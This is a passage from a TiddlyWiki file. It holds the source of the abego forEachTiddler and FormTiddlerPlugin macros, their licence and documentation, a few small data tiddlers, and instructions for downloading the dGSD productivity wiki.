	var tiddlyWikiPath = undefined;
	if ((i < params.length) && params[i] == "in") {
		i++;
		if (i >= params.length) {
			this.handleError(place, "TiddlyWiki path expected behind 'in'.");
			return;
		}
		tiddlyWikiPath = this.paramEncode((i < params.length) ? params[i] : "");
		i++;
	}

	// Parse the where clause
	var whereClause ="true";
	if ((i < params.length) && params[i] == "where") {
		i++;
		whereClause = this.paramEncode((i < params.length) ? params[i] : "");
		i++;
	}

	// Parse the sort stuff
	var sortClause = null;
	var sortAscending = true; 
	if ((i < params.length) && params[i] == "sortBy") {
		i++;
		if (i >= params.length) {
			this.handleError(place, "sortClause missing behind 'sortBy'.");
			return;
		}
		sortClause = this.paramEncode(params[i]);
		i++;

		if ((i < params.length) && (params[i] == "ascending" || params[i] == "descending")) {
			 sortAscending = params[i] == "ascending";
			 i++;
		}
	}

	// Parse the script
	var scriptText = null;
	if ((i < params.length) && params[i] == "script") {
		i++;
		scriptText = this.paramEncode((i < params.length) ? params[i] : "");
		i++;
	}

	// Parse the action. 
	// When we are already at the end use the default action
	var actionName = "addToList";
	if (i < params.length) {
	   if (!config.macros.forEachTiddler.actions[params[i]]) {
			this.handleError(place, "Unknown action '"+params[i]+"'.");
			return;
		} else {
			actionName = params[i]; 
			i++;
		}
	} 
	
	// Get the action parameter
	// (the parsing is done inside the individual action implementation.)
	var actionParameter = params.slice(i);


	// --- Processing ------------------------------------------
	try {
		this.performMacro({
				place: place, 
				inTiddler: tiddler,
				whereClause: whereClause, 
				sortClause: sortClause, 
				sortAscending: sortAscending, 
				actionName: actionName, 
				actionParameter: actionParameter, 
				scriptText: scriptText, 
				tiddlyWikiPath: tiddlyWikiPath});

	} catch (e) {
		this.handleError(place, e);
	}
};

// Returns an object with properties "tiddlers" and "context".
// tiddlers holds the (sorted) tiddlers selected by the parameter,
// context the context of the execution of the macro.
//
// The action is not yet performed.
//
// @parameter see performMacro
//
config.macros.forEachTiddler.getTiddlersAndContext = function(parameter) {

	var context = config.macros.forEachTiddler.createContext(parameter.place, parameter.whereClause, parameter.sortClause, parameter.sortAscending, parameter.actionName, parameter.actionParameter, parameter.scriptText, parameter.tiddlyWikiPath, parameter.inTiddler);

	var tiddlyWiki = parameter.tiddlyWikiPath ? this.loadTiddlyWiki(parameter.tiddlyWikiPath) : store;
	context["tiddlyWiki"] = tiddlyWiki;
	
	// Get the tiddlers, as defined by the whereClause
	var tiddlers = this.findTiddlers(parameter.whereClause, context, tiddlyWiki);
	context["tiddlers"] = tiddlers;

	// Sort the tiddlers, when sorting is required.
	if (parameter.sortClause) {
		this.sortTiddlers(tiddlers, parameter.sortClause, parameter.sortAscending, context);
	}

	return {tiddlers: tiddlers, context: context};
};

// Returns the (sorted) tiddlers selected by the parameter.
//
// The action is not yet performed.
//
// @parameter see performMacro
//
config.macros.forEachTiddler.getTiddlers = function(parameter) {
	return this.getTiddlersAndContext(parameter).tiddlers;
};

// Performs the macros with the given parameter.
//
// @param parameter holds the parameter of the macro as separate properties.
//				  The following properties are supported:
//
//						place
//						whereClause
//						sortClause
//						sortAscending
//						actionName
//						actionParameter
//						scriptText
//						tiddlyWikiPath
//
//					All properties are optional. 
//					For most actions the place property must be defined.
//
config.macros.forEachTiddler.performMacro = function(parameter) {
	var tiddlersAndContext = this.getTiddlersAndContext(parameter);

	// Perform the action
	var actionName = parameter.actionName ? parameter.actionName : "addToList";
	var action = config.macros.forEachTiddler.actions[actionName];
	if (!action) {
		this.handleError(parameter.place, "Unknown action '"+actionName+"'.");
		return;
	}

	var actionHandler = action.handler;
	actionHandler(parameter.place, tiddlersAndContext.tiddlers, parameter.actionParameter, tiddlersAndContext.context);
};

// ---------------------------------------------------------------------------
//  The actions 
// ---------------------------------------------------------------------------

// Internal.
//
// --- The addToList Action -----------------------------------------------
//
config.macros.forEachTiddler.actions.addToList.handler = function(place, tiddlers, parameter, context) {
	// Parse the parameter
	var p = 0;

	// Check for extra parameters
	if (parameter.length > p) {
		config.macros.forEachTiddler.createExtraParameterErrorElement(place, "addToList", parameter, p);
		return;
	}

	// Perform the action.
	var list = document.createElement("ul");
	place.appendChild(list);
	for (var i = 0; i < tiddlers.length; i++) {
		var tiddler = tiddlers[i];
		var listItem = document.createElement("li");
		list.appendChild(listItem);
		createTiddlyLink(listItem, tiddler.title, true);
	}
};

abego.parseNamedParameter = function(name, parameter, i) {
	var beginExpression = null;
	if ((i < parameter.length) && parameter[i] == name) {
		i++;
		if (i >= parameter.length) {
			throw "Missing text behind '%0'".format([name]);
		}
		
		return config.macros.forEachTiddler.paramEncode(parameter[i]);
	}
	return null;
}

// Internal.
//
// --- The write Action ---------------------------------------------------
//
config.macros.forEachTiddler.actions.write.handler = function(place, tiddlers, parameter, context) {
	// Parse the parameter
	var p = 0;
	if (p >= parameter.length) {
		this.handleError(place, "Missing expression behind 'write'.");
		return;
	}

	var textExpression = config.macros.forEachTiddler.paramEncode(parameter[p]);
	p++;

	// Parse the "begin" option
	var beginExpression = abego.parseNamedParameter("begin", parameter, p);
	if (beginExpression !== null) 
		p += 2;
	var endExpression = abego.parseNamedParameter("end", parameter, p);
	if (endExpression !== null) 
		p += 2;
	var noneExpression = abego.parseNamedParameter("none", parameter, p);
	if (noneExpression !== null) 
		p += 2;

	// Parse the "toFile" option
	var filename = null;
	var lineSeparator = undefined;
	if ((p < parameter.length) && parameter[p] == "toFile") {
		p++;
		if (p >= parameter.length) {
			this.handleError(place, "Filename expected behind 'toFile' of 'write' action.");
			return;
		}
		
		filename = config.macros.forEachTiddler.getLocalPath(config.macros.forEachTiddler.paramEncode(parameter[p]));
		p++;
		if ((p < parameter.length) && parameter[p] == "withLineSeparator") {
			p++;
			if (p >= parameter.length) {
				this.handleError(place, "Line separator text expected behind 'withLineSeparator' of 'write' action.");
				return;
			}
			lineSeparator = config.macros.forEachTiddler.paramEncode(parameter[p]);
			p++;
		}
	}
	
	// Check for extra parameters
	if (parameter.length > p) {
		config.macros.forEachTiddler.createExtraParameterErrorElement(place, "write", parameter, p);
		return;
	}

	// Perform the action.
	var func = config.macros.forEachTiddler.getEvalTiddlerFunction(textExpression, context);
	var count = tiddlers.length;
	var text = "";
	if (count > 0 && beginExpression)
		text += config.macros.forEachTiddler.getEvalTiddlerFunction(beginExpression, context)(undefined, context, count, undefined);
	
	for (var i = 0; i < count; i++) {
		var tiddler = tiddlers[i];
		text += func(tiddler, context, count, i);
	}
	
	if (count > 0 && endExpression)
		text += config.macros.forEachTiddler.getEvalTiddlerFunction(endExpression, context)(undefined, context, count, undefined);

	if (count == 0 && noneExpression) 
		text += config.macros.forEachTiddler.getEvalTiddlerFunction(noneExpression, context)(undefined, context, count, undefined);
		

	if (filename) {
		if (lineSeparator !== undefined) {
			lineSeparator = lineSeparator.replace(/\\n/mg, "\n").replace(/\\r/mg, "\r");
			text = text.replace(/\n/mg,lineSeparator);
		}
		saveFile(filename, convertUnicodeToUTF8(text));
	} else {
		var wrapper = createTiddlyElement(place, "span");
		wikify(text, wrapper, null/* highlightRegExp */, context.inTiddler);
	}
};


// ---------------------------------------------------------------------------
//  Helpers
// ---------------------------------------------------------------------------

// Internal.
//
config.macros.forEachTiddler.createContext = function(placeParam, whereClauseParam, sortClauseParam, sortAscendingParam, actionNameParam, actionParameterParam, scriptText, tiddlyWikiPathParam, inTiddlerParam) {
	return {
		place : placeParam, 
		whereClause : whereClauseParam, 
		sortClause : sortClauseParam, 
		sortAscending : sortAscendingParam, 
		script : scriptText,
		actionName : actionNameParam, 
		actionParameter : actionParameterParam,
		tiddlyWikiPath : tiddlyWikiPathParam,
		inTiddler : inTiddlerParam, // the tiddler containing the <<forEachTiddler ...>> macro call.
		viewerTiddler : config.macros.forEachTiddler.getContainingTiddler(placeParam) // the tiddler showing the forEachTiddler result
	};
};

// Internal.
//
// Returns a TiddlyWiki with the tiddlers loaded from the TiddlyWiki of 
// the given path.
//
config.macros.forEachTiddler.loadTiddlyWiki = function(path, idPrefix) {
	if (!idPrefix) {
		idPrefix = "store";
	}
	var lenPrefix = idPrefix.length;
	
	// Read the content of the given file
	var content = loadFile(this.getLocalPath(path));
	if(content === null) {
		throw "TiddlyWiki '"+path+"' not found.";
	}
	
	var tiddlyWiki = new TiddlyWiki();

	// Starting with TW 2.2 there is a helper function to import the tiddlers
	if (tiddlyWiki.importTiddlyWiki) {
		if (!tiddlyWiki.importTiddlyWiki(content))
			throw "File '"+path+"' is not a TiddlyWiki.";
		tiddlyWiki.dirty = false;
		return tiddlyWiki;
	}
	
	// The legacy code, for TW < 2.2
	
	// Locate the storeArea div's
	var posOpeningDiv = content.indexOf(startSaveArea);
	var posClosingDiv = content.lastIndexOf(endSaveArea);
	if((posOpeningDiv == -1) || (posClosingDiv == -1)) {
		throw "File '"+path+"' is not a TiddlyWiki.";
	}
	var storageText = content.substr(posOpeningDiv + startSaveArea.length, posClosingDiv);
	
	// Create a "div" element that contains the storage text
	var myStorageDiv = document.createElement("div");
	myStorageDiv.innerHTML = storageText;
	myStorageDiv.normalize();
	
	// Create all tiddlers in a new TiddlyWiki
	// (following code is modified copy of TiddlyWiki.prototype.loadFromDiv)
	var store = myStorageDiv.childNodes;
	for(var t = 0; t < store.length; t++) {
		var e = store[t];
		var title = null;
		if(e.getAttribute)
			title = e.getAttribute("tiddler");
		if(!title && e.id && e.id.substr(0,lenPrefix) == idPrefix)
			title = e.id.substr(lenPrefix);
		if(title && title !== "") {
			var tiddler = tiddlyWiki.createTiddler(title);
			tiddler.loadFromDiv(e,title);
		}
	}
	tiddlyWiki.dirty = false;

	return tiddlyWiki;
};


	
// Internal.
//
// Returns a function that has a function body returning the given javaScriptExpression.
// The function has the parameters:
// 
//	 (tiddler, context, count, index)
//
config.macros.forEachTiddler.getEvalTiddlerFunction = function (javaScriptExpression, context) {
	var script = context["script"];
	var functionText = "var theFunction = function(tiddler, context, count, index) { return "+javaScriptExpression+"}";
	var fullText = (script ? script+";" : "")+functionText+";theFunction;";
	return eval(fullText);
};

// Internal.
//
config.macros.forEachTiddler.findTiddlers = function(whereClause, context, tiddlyWiki) {
	var result = [];
	var func = config.macros.forEachTiddler.getEvalTiddlerFunction(whereClause, context);
	tiddlyWiki.forEachTiddler(function(title,tiddler) {
		if (func(tiddler, context, undefined, undefined)) {
			result.push(tiddler);
		}
	});
	return result;
};

// Internal.
//
config.macros.forEachTiddler.createExtraParameterErrorElement = function(place, actionName, parameter, firstUnusedIndex) {
	var message = "Extra parameter behind '"+actionName+"':";
	for (var i = firstUnusedIndex; i < parameter.length; i++) {
		message += " "+parameter[i];
	}
	this.handleError(place, message);
};

// Internal.
//
config.macros.forEachTiddler.sortAscending = function(tiddlerA, tiddlerB) {
	var result = 
		(tiddlerA.forEachTiddlerSortValue == tiddlerB.forEachTiddlerSortValue) 
			? 0
			: (tiddlerA.forEachTiddlerSortValue < tiddlerB.forEachTiddlerSortValue)
			   ? -1 
			   : +1; 
	return result;
};

// Internal.
//
config.macros.forEachTiddler.sortDescending = function(tiddlerA, tiddlerB) {
	var result = 
		(tiddlerA.forEachTiddlerSortValue == tiddlerB.forEachTiddlerSortValue) 
			? 0
			: (tiddlerA.forEachTiddlerSortValue < tiddlerB.forEachTiddlerSortValue)
			   ? +1 
			   : -1; 
	return result;
};

// Internal.
//
config.macros.forEachTiddler.sortTiddlers = function(tiddlers, sortClause, ascending, context) {
	// To avoid evaluating the sortClause whenever two items are compared 
	// we pre-calculate the sortValue for every item in the array and store it in a 
	// temporary property ("forEachTiddlerSortValue") of the tiddlers.
	var func = config.macros.forEachTiddler.getEvalTiddlerFunction(sortClause, context);
	var count = tiddlers.length;
	var i;
	for (i = 0; i < count; i++) {
		var tiddler = tiddlers[i];
		tiddler.forEachTiddlerSortValue = func(tiddler,context, undefined, undefined);
	}

	// Do the sorting
	tiddlers.sort(ascending ? this.sortAscending : this.sortDescending);

	// Delete the temporary property that holds the sortValue.	
	for (i = 0; i < tiddlers.length; i++) {
		delete tiddlers[i].forEachTiddlerSortValue;
	}
};


// Internal.
//
config.macros.forEachTiddler.trace = function(message) {
	displayMessage(message);
};

// Internal.
//
config.macros.forEachTiddler.traceMacroCall = function(place,macroName,params) {
	var message ="<<"+macroName;
	for (var i = 0; i < params.length; i++) {
		message += " "+params[i];
	}
	message += ">>";
	displayMessage(message);
};


// Internal.
//
// Creates an element that holds an error message
// 
config.macros.forEachTiddler.createErrorElement = function(place, exception) {
	var message = (exception.description) ? exception.description : exception.toString();
	return createTiddlyElement(place,"span",null,"forEachTiddlerError","<<forEachTiddler ...>>: "+message);
};

// Internal.
//
// @param place [may be null]
//
config.macros.forEachTiddler.handleError = function(place, exception) {
	if (place) {
		this.createErrorElement(place, exception);
	} else {
		throw exception;
	}
};

// Internal.
//
// Encodes the given string.
//
// Replaces 
//	 "$))" to ">>"
//	 "$)" to ">"
//
config.macros.forEachTiddler.paramEncode = function(s) {
	var reGTGT = new RegExp("\\$\\)\\)","mg");
	var reGT = new RegExp("\\$\\)","mg");
	return s.replace(reGTGT, ">>").replace(reGT, ">");
};

// Internal.
//
// Returns the given original path (that is a file path, starting with "file:")
// as a path to a local file, in the systems native file format.
//
// Location information in the originalPath (i.e. the "#" and stuff following)
// is stripped.
// 
config.macros.forEachTiddler.getLocalPath = function(originalPath) {
	// Remove any location part of the URL
	var hashPos = originalPath.indexOf("#");
	if(hashPos != -1)
		originalPath = originalPath.substr(0,hashPos);
	// Convert to a native file format assuming
	// "file:///x:/path/path/path..." - pc local file --> "x:\path\path\path..."
	// "file://///server/share/path/path/path..." - FireFox pc network file --> "\\server\share\path\path\path..."
	// "file:///path/path/path..." - mac/unix local file --> "/path/path/path..."
	// "file://server/share/path/path/path..." - pc network file --> "\\server\share\path\path\path..."
	var localPath;
	if(originalPath.charAt(9) == ":") // pc local file
		localPath = unescape(originalPath.substr(8)).replace(new RegExp("/","g"),"\\");
	else if(originalPath.indexOf("file://///") === 0) // FireFox pc network file
		localPath = "\\\\" + unescape(originalPath.substr(10)).replace(new RegExp("/","g"),"\\");
	else if(originalPath.indexOf("file:///") === 0) // mac/unix local file
		localPath = unescape(originalPath.substr(7));
	else if(originalPath.indexOf("file:/") === 0) // mac/unix local file
		localPath = unescape(originalPath.substr(5));
	else // pc network file
		localPath = "\\\\" + unescape(originalPath.substr(7)).replace(new RegExp("/","g"),"\\");	
	return localPath;
};

// ---------------------------------------------------------------------------
// Stylesheet Extensions (may be overridden by local StyleSheet)
// ---------------------------------------------------------------------------
//
setStylesheet(
	".forEachTiddlerError{color: #ffffff;background-color: #880000;}",
	"forEachTiddler");

//============================================================================
// End of forEachTiddler Macro
//============================================================================


//============================================================================
// String.startsWith Function
//============================================================================
//
// Returns true if the string starts with the given prefix, false otherwise.
//
version.extensions["String.startsWith"] = {major: 1, minor: 0, revision: 0, date: new Date(2005,11,20), provider: "http://tiddlywiki.abego-software.de"};
//
String.prototype.startsWith = function(prefix) {
	var n =  prefix.length;
	return (this.length >= n) && (this.slice(0, n) == prefix);
};



//============================================================================
// String.endsWith Function
//============================================================================
//
// Returns true if the string ends with the given suffix, false otherwise.
//
version.extensions["String.endsWith"] = {major: 1, minor: 0, revision: 0, date: new Date(2005,11,20), provider: "http://tiddlywiki.abego-software.de"};
//
String.prototype.endsWith = function(suffix) {
	var n = suffix.length;
	return (this.length >= n) && (this.right(n) == suffix);
};


//============================================================================
// String.contains Function
//============================================================================
//
// Returns true when the string contains the given substring, false otherwise.
//
version.extensions["String.contains"] = {major: 1, minor: 0, revision: 0, date: new Date(2005,11,20), provider: "http://tiddlywiki.abego-software.de"};
//
String.prototype.contains = function(substring) {
	return this.indexOf(substring) >= 0;
};

//============================================================================
// Array.indexOf Function
//============================================================================
//
// Returns the index of the first occurance of the given item in the array or 
// -1 when no such item exists.
//
// @param item [may be null]
//
version.extensions["Array.indexOf"] = {major: 1, minor: 0, revision: 0, date: new Date(2005,11,20), provider: "http://tiddlywiki.abego-software.de"};
//
Array.prototype.indexOf = function(item) {
	for (var i = 0; i < this.length; i++) {
		if (this[i] == item) {
			return i;
		}
	}
	return -1;
};

//============================================================================
// Array.contains Function
//============================================================================
//
// Returns true when the array contains the given item, otherwise false. 
//
// @param item [may be null]
//
version.extensions["Array.contains"] = {major: 1, minor: 0, revision: 0, date: new Date(2005,11,20), provider: "http://tiddlywiki.abego-software.de"};
//
Array.prototype.contains = function(item) {
	return (this.indexOf(item) >= 0);
};

//============================================================================
// Array.containsAny Function
//============================================================================
//
// Returns true when the array contains at least one of the elements 
// of the item. Otherwise (or when items contains no elements) false is returned.
//
version.extensions["Array.containsAny"] = {major: 1, minor: 0, revision: 0, date: new Date(2005,11,20), provider: "http://tiddlywiki.abego-software.de"};
//
Array.prototype.containsAny = function(items) {
	for(var i = 0; i < items.length; i++) {
		if (this.contains(items[i])) {
			return true;
		}
	}
	return false;
};


//============================================================================
// Array.containsAll Function
//============================================================================
//
// Returns true when the array contains all the items, otherwise false.
// 
// When items is null false is returned (even if the array contains a null).
//
// @param items [may be null] 
//
version.extensions["Array.containsAll"] = {major: 1, minor: 0, revision: 0, date: new Date(2005,11,20), provider: "http://tiddlywiki.abego-software.de"};
//
Array.prototype.containsAll = function(items) {
	for(var i = 0; i < items.length; i++) {
		if (!this.contains(items[i])) {
			return false;
		}
	}
	return true;
};


} // of "install only once"

// Used Globals (for JSLint) ==============
// ... DOM
/*global 	document */
// ... TiddlyWiki Core
/*global 	convertUnicodeToUTF8, createTiddlyElement, createTiddlyLink, 
			displayMessage, endSaveArea, hasClass, loadFile, saveFile, 
			startSaveArea, store, wikify */
//}}}


/***
!Licence and Copyright
Copyright (c) abego Software ~GmbH, 2005 ([[www.abego-software.de|http://www.abego-software.de]])

Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:

Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.

Redistributions in binary form must reproduce the above copyright notice, this
list of conditions and the following disclaimer in the documentation and/or other
materials provided with the distribution.

Neither the name of abego Software nor the names of its contributors may be
used to endorse or promote products derived from this software without specific
prior written permission.

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT
SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
DAMAGE.
***/

/***
<<checkForDataTiddlerPlugin>>
|''Name:''|FormTiddlerPlugin|
|''Version:''|1.0.7 (2012-04-19)|
|''Summary:''|Use form-based tiddlers to enter your tiddler data using text fields, listboxes, checkboxes etc. (All standard HTML Form input elements supported).|
|''Documentation:''|[[Introduction|FormTiddler Introduction]], [[Examples|FormTiddler Examples]]|
|''Source:''|http://tiddlywiki.abego-software.de/#FormTiddlerPlugin|
|''Twitter:''|[[@abego|https://twitter.com/#!/abego]]|
|''Author:''|UdoBorkowski (ub [at] abego-software [dot] de)|
|''License:''|[[BSD open source license|http://www.abego-software.de/legal/apl-v10.html]]|
|''Requires:''|DataTiddlerPlugin|
!Description
Use form-based tiddlers to enter your tiddler data using text fields, listboxes, checkboxes etc. (All standard HTML Form input elements supported).

''Syntax:'' 
|>|{{{<<}}}''formTiddler'' //tiddlerName//{{{>>}}}|
|//tiddlerName//|The name of the FormTemplate tiddler to be used to edit the data of the tiddler containing the macro.|

|>|{{{<<}}}''newTiddlerWithForm'' //formTemplateName// //buttonLabel// [//titleExpression// [''askUser'']] {{{>>}}}|
|//formTemplateName//|The name of the tiddler that defines the form the new tiddler should use.|
|//buttonLabel//|The label of the button|
|//titleExpression//|A (quoted) JavaScript String expression that defines the title (/name) of the new tiddler.|
|''askUser''|Typically the user is not asked for the title when a title is specified (and not yet used). When ''askUser'' is given the user will be asked in any case. This may be used when the calculated title is just a suggestion that must be confirmed by the user|
|>|~~Syntax formatting: Keywords in ''bold'', optional parts in [...]. 'or' means that exactly one of the two alternatives must exist.~~|

For details and how to use the macros see the [[introduction|FormTiddler Introduction]] and the [[examples|FormTiddler Examples]].

!Source Code
***/
/***
This plugin's source code is compressed (and hidden). 
Use this [[link|http://tiddlywiki.abego-software.de/archive/FormTiddlerPlugin/1.0.7/FormTiddlerPlugin-1.0.7-src.js]] to get the readable source code.
***/
///%
if(!window.abego){window.abego={}}abego.getOptionsValue=function(c,b){var a=c.options[b].value;if(!a&&c.options[b].text){a=c.options[b].text}return a};version.extensions.FormTiddlerPlugin={major:1,minor:0,revision:7,date:new Date(2012,3,19),type:"plugin",source:"http://tiddlywiki.abego-software.de/#FormTiddlerPlugin"};if(!window.story){window.story=window}if(!TiddlyWiki.prototype.getTiddler){TiddlyWiki.prototype.getTiddler=function(a){return t=this.tiddlers[a];return(t!=undefined&&t instanceof Tiddler)?t:null}}config.macros.formTiddler={label:"formTiddler",prompt:"Edit tiddler data using forms",setter:{button:function(b,a){},checkbox:function(b,a){b.checked=a},file:function(b,a){try{b.value=a}catch(b){}},hidden:function(b,a){b.value=a},password:function(b,a){b.value=a},radio:function(b,a){b.checked=(b.value==a)},reset:function(b,a){},"select-one":function(b,a){config.macros.formTiddler.setSelectOneValue(b,a)},"select-multiple":function(b,a){config.macros.formTiddler.setSelectMultipleValue(b,a)},submit:function(b,a){},text:function(b,a){b.value=a},textarea:function(b,a){b.value=a}},getter:{button:function(b,a){return undefined},checkbox:function(b,a){return b.checked},file:function(b,a){return b.value},hidden:function(b,a){return b.value},password:function(b,a){return b.value},radio:function(b,a){return b.checked?b.value:undefined},reset:function(b,a){return undefined},"select-one":function(b,a){return config.macros.formTiddler.getSelectOneValue(b)},"select-multiple":function(b,a){return config.macros.formTiddler.getSelectMultipleValue(b)},submit:function(b,a){return undefined},text:function(b,a){return b.value},textarea:function(b,a){return b.value}}};config.macros.formTiddler.handler=function(g,c,f,h,d,n){if(!config.macros.formTiddler.checkForExtensions(g,c)){return}var j=0;var l=undefined;if(j<f.length){l=f[j];j++}if(!l){config.macros.formTiddler.createErrorElement(g,"No form template specified in <<"+c+">>.");return}var a=store.getTiddler(l);if(!a){config.macros.formTiddler.createErrorElement(g,"Form template '"+l+"' not found.");return}var m=a.text;if(!m){return}var b=config.macros.formTiddler.getContainingTiddlerName(g);var o="form"+l+"__"+b;var k=document.createElement("form");k.setAttribute("name",o);g.appendChild(k);wikify(m,k);config.macros.formTiddler.initValuesAndHandlersInFormElements(o,DataTiddler.getDataObject(b))};config.macros.formTiddler.initValuesAndHandlersInFormElements=function(l,f){var b=config.macros.formTiddler.findForm(l);if(!b){return}try{var a=b.elements;for(var g=0;g<a.length;g++){var j=a[g];var d=config.macros.formTiddler.setter[j.type];if(d){var k=f[j.name];if(k!=null){d(j,k)}j.onchange=onFormTiddlerChange}else{config.macros.formTiddler.displayFormTiddlerError("No setter defined for INPUT element of type '"+j.type+"'. (Element '"+j.name+"' in form '"+l+"')")}}}catch(h){config.macros.formTiddler.displayFormTiddlerError("Error when updating elements with new formData. "+h)}};config.macros.formTiddler.findForm=function(c){var a=window.document.forms;for(var b=0;b<a.length;b++){var d=a[b];if(d.name==c){return d}}return null};config.macros.formTiddler.setSelectOneValue=function(b,c){var d=b.options.length;for(var a=0;a<d;a++){b.options[a].selected=abego.getOptionsValue(b,a)==c}};config.macros.formTiddler.setSelectMultipleValue=function(c,d){var a={};for(var b=0;b<d.length;b++){a[d[b]]=true}var e=c.length;for(var b=0;b<e;b++){c.options[b].selected=!(!a[abego.getOptionsValue(c,b)])}};config.macros.formTiddler.getSelectOneValue=function(b){var a=b.selectedIndex;return(a>=0)?abego.getOptionsValue(b,a):null};config.macros.formTiddler.getSelectMultipleValue=function(c){var a=[];var d=c.length;for(var b=0;b<d;b++){if(c.options[b].selected){a.push(abego.getOptionsValue(c,b))}}return a};config.macros.formTiddler.checkForExtensions=function(a,b){if(!version.extensions.DataTiddlerPlugin){config.macros.formTiddler.createErrorElement(a,"<<"+b+">> requires the DataTiddlerPlugin. (You can get it from http://tiddlywiki.abego-software.de/#DataTiddlerPlugin)");return false}return true};config.macros.formTiddler.trace=function(a){displayMessage("Trace: "+a)};config.macros.formTiddler.displayFormTiddlerError=function(a){alert("FormTiddlerPlugin Error: "+a)};config.macros.formTiddler.createErrorElement=function(a,b){return createTiddlyElement(a,"span",null,"formTiddlerError",b)};config.macros.formTiddler.getContainingTiddlerName=function(a){return story.findContainingTiddler(a).getAttribute("tiddler")};function onFormTiddlerChange(f){if(!f){f=window.event}var d=resolveTarget(f);var b=config.macros.formTiddler.getContainingTiddlerName(d);var a=config.macros.formTiddler.getter[d.type];if(a){var c=a(d);DataTiddler.setData(b,d.name,c)}else{config.macros.formTiddler.displayFormTiddlerError("No getter defined for INPUT element of type '"+d.type+"'. (Element '"+d.name+"' used in tiddler '"+b+"')")}}window.onFormTiddlerChange=onFormTiddlerChange;setStylesheet(".formTiddlerError{color: #ffffff;background-color: #880000;}","formTiddler");config.macros.checkForDataTiddlerPlugin={label:"checkForDataTiddlerPlugin",version:{major:1,minor:0,revision:0,date:new Date(2005,12,14)},prompt:"Check if the DataTiddlerPlugin exists"};config.macros.checkForDataTiddlerPlugin.handler=function(a,b,c){config.macros.formTiddler.checkForExtensions(a,config.macros.formTiddler.label)};config.macros.newTiddlerWithForm={label:"newTiddlerWithForm",version:{major:1,minor:0,revision:1,date:new Date(2006,1,6)},prompt:"Creates a new Tiddler with a <<formTiddler ...>> macro"};config.macros.newTiddlerWithForm.handler=function(place,macroName,params){var i=0;var formTemplateName=undefined;if(i<params.length){formTemplateName=params[i];i++}if(!formTemplateName){config.macros.formTiddler.createErrorElement(place,"No form template specified in <<"+macroName+">>.");return}var buttonLabel=undefined;if(i<params.length){buttonLabel=params[i];i++}if(!buttonLabel){config.macros.formTiddler.createErrorElement(place,"No button label specified in <<"+macroName+">>.");return}var tiddlerNameScript=undefined;var askUser=false;if(i<params.length){tiddlerNameScript=params[i];i++;if(i<params.length&&params[i]=="askUser"){askUser=true;i++}}if(!readOnly){var onClick=function(){var tiddlerName=undefined;if(tiddlerNameScript){try{tiddlerName=eval(tiddlerNameScript)}catch(ex){}}if(!tiddlerName||askUser){tiddlerName=prompt("Please specify a tiddler name.",askUser?tiddlerName:"")}while(tiddlerName&&store.getTiddler(tiddlerName)){tiddlerName=prompt("A tiddler named '"+tiddlerName+"' already exists.\n\nPlease specify a tiddler name.",tiddlerName)}if(tiddlerName){var body="<<formTiddler [["+formTemplateName+"]]>>";var tags=[];store.saveTiddler(tiddlerName,tiddlerName,body,config.options.txtUserName,new Date(),tags);story.displayTiddler(null,tiddlerName,1)}};createTiddlyButton(place,buttonLabel,buttonLabel,onClick)}};
//%/
order:4
button:fortnight
buttonLong:fortnightly
order:3
button:f
buttonLong:future
Book has been given away (or disposed of)

order:4
button:g
buttonLong:gaveAway


+++[Click here to get dGSD]
!Getting dGSD For Your Own Use
dGSD uses the [[TiddlyWiki|http://www.tiddlywiki.org]] engine by Jeremy Ruston, and is founded heavily on "mGSD" by [[Simon Baird|https://twitter.com/simonbaird]]. 
It runs best in the Firefox browser with the [[TiddlyFox Extension|https://github.com/TiddlyWiki/TiddlyFox/blob/master/tiddlyfox.xpi]] (click to download/install it).
//Mozilla, and even Google, have tightened up browser security to the point where you can't save files from Javascript, so unfortunately you need an extension.//

!!To start with a blank/empty file for your own dGSD """TiddlyWikis""", right-click and //"Save As"// or //"Save Link"// on this link:
''<html><span style="font-size: 12pt;"><center><a style="text-decoration:underline;color:blue;" href="http://thinkcreatesolve.biz/dGSD-empty.html">Download dGSD</a></center></span></html>''

If you are a TW power-user, I've made a version with a well curated selection of <<tag plugin>>'s which I have hand-picked to add more note taking, flexibility, and business useability to TW.
Right-click and //"Save As"// or //"Save Link"// on this link for a copy of your own: ''<html><a href="http://thinkcreatesolve.biz/dGSD-loaded.html">Loaded dGSD file</a></html>''

!!Adding dGSD To Your Own TW, or upgrading
All dGSD Tiddlers can be imported into //''any """TiddlyWiki"""''//, or upgraded in your existing dGSD or mGSD TW. This is a quick and easy way to upgrade to the latest version of dGSD, without starting a new TW. 
Right-click and //"Save As"// or //"Save Link"// on the following """PureStore""" Export, and import it through """BackStage""": ''<html><a href="http://thinkcreatesolve.biz/dGSD-export.html">Latest dGSD Tiddlers</a></html>''

{{small{//Note: If importing doesn't work right, try an older Firefox (<15) or reload your TW with ''#start:safe'' at the end of the URL//. You can get [[Portable Firefox for Windows 14.0.1 here|http://sourceforge.net/projects/portableapps/files/Mozilla%20Firefox%2C%20Portable%20Ed./Mozilla%20Firefox%2C%20Portable%20Edition%2014.0.1/]], and should also install the [[TiddlyFox Extension|https://github.com/TiddlyWiki/TiddlyFox/blob/master/tiddlyfox.xpi]] into every copy of FF15+ that you use TW's on.}}}

For more info, or for the """TiddlyWiki"""-savvy, check out the many <<tag dGSD>>, <<tag example>>, and <<tag pluginInfo>>, Tiddlers to explore these features and the macros they use.
===
!To get started with this dGSD [[TiddlyWiki]]...

You'll need to modify the following tiddlers:
